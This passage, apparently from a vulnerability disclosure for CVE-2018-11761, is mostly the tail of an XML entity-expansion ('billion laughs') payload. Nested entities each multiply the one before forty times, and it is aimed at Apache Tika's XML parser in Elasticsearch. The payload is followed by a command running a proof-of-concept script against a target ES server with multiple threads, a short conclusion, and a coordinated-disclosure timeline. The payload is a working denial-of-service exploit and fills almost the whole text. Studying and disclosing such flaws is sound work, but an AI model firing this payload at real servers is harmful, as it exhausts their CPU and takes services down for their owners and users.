00000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" >
]>
<foo>&d;</foo>

  • Run the script to send requests to an ES server. 
python poc_dos_es.py [ES IP Address] [ES Port] ES_XML.xml [Thread Number]
  • Then, the CPU utilization will increase rapidly and obviously.

Conclusion

This vulnerability is actually caused by Apache Tika XML Parser implementation. Meanwhile, I think all of services which are using Tika to parse XML file should be impacted as well.

Timeline

  • 2018-07-25: Reported to Apache Security and Elastic Product Security team.
  • 2018-07-26: Received acknowledgement and confirmation from Apache Tika PMC.
  • 2018-07-27: Received acknowledgement from Elastic Product Security.
  • 2018-09-19: Received CVE-2018-11761 announcement from Apache Tika team and confirmed the issue was fixed in Apache Tika 1.19 or later
  • 2018-11-27: Elastic Product Security team confirmed ElasticSearch 6.4.3 fixed the issue.

References